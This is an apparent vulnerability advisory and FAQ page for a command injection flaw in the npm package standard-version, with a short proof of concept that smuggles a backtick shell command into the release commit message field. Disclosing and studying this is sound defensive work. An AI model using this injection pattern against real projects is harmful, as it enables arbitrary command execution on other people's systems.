GHSA-7XCX-6WJH-7XP2

Command Injection in standard-version

npm install standard-version
git init
echo "foo" > foo.txt # the git repo has to be non-empty
git add foo.txt
git commit -am "initial commit"

var fs = require("fs");
// setting up a bit of environment
fs.writeFileSync("package.json", '{"name": "foo", "version": "1.0.0"}');

const standardVersion = require('standard-version')

standardVersion({
  noVerify: true,
  infile: 'foo.txt',
  releaseCommitMessageFormat: "bla `touch exploit`"
})

node test.js

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.

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1. What is GHSA-7XCX-6WJH-7XP2? GHSA-7XCX-6WJH-7XP2 is a medium-severity command injection vulnerability in standard-version (npm), affecting versions < 8.0.1. It is fixed in 8.0.1. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
2. Which versions of standard-version are affected by GHSA-7XCX-6WJH-7XP2? standard-version (npm) versions < 8.0.1 is affected.
3. Is there a fix for GHSA-7XCX-6WJH-7XP2? Yes. GHSA-7XCX-6WJH-7XP2 is fixed in 8.0.1. Upgrade to this version or later.
4. Is GHSA-7XCX-6WJH-7XP2 exploitable, and should I be worried? Whether GHSA-7XCX-6WJH-7XP2 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether GHSA-7XCX-6WJH-7XP2 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix GHSA-7XCX-6WJH-7XP2? Upgrade standard-version to 8.0.1 or later.